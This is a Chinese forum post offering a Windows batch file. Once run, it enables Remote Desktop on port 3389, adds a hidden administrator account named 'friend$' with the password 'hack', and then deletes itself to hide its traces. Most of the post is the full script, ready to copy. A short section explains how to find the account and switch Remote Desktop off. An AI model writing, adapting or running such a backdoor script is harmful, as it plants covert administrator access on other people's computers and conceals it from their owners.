批处理打开3389端口建立隐藏账号

435retr

呵呵，很高兴来到这里学习，今后希望大家多多指教。
我在学习dos命令和批处理时，突发奇想，就将原来的只能打开3389端口的批处理加强了一下，增加了建立隐藏账户并提权为管理员的功能，打开后此文件会自动删除！~
****************************************************************************
1.批处理功能说明：

该批处理双击打开执行后，会完全自动打开3389端口，建立一个叫做” friend$ “的用户，密码为：” hack “，并提升为管理员权限，且一般在命令提示符下用net user 查看是看不到所建立的账户的。并且当执行完毕后自定删除该文件销毁痕迹。

2.查看及删除隐藏账户方法：

    要想查看此隐藏账户，可以在我的电脑——右键属性——管理——用户和组中看到所建立的账户。（可以在这个地方删除所建立的隐藏账户）


3.关闭打开的3389端口方法：

测试环境：windows7
我的电脑——右键属性——高级系统设置——远程选项卡——将远程桌面前的对勾去掉即可。

测试环境：windows xp
我的电脑——右键属性——远程选项卡——将远程桌面前的对勾去掉即可。

4.使用方法：
将以下代码复制到记事本中后将文件重命名为：3389+管理员提权批处理.bat
@echo off
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
net user friend$ hack /add
net localgroup administrators friend$ /add
del 3389.reg
del 3389+管理员提权批处理.bat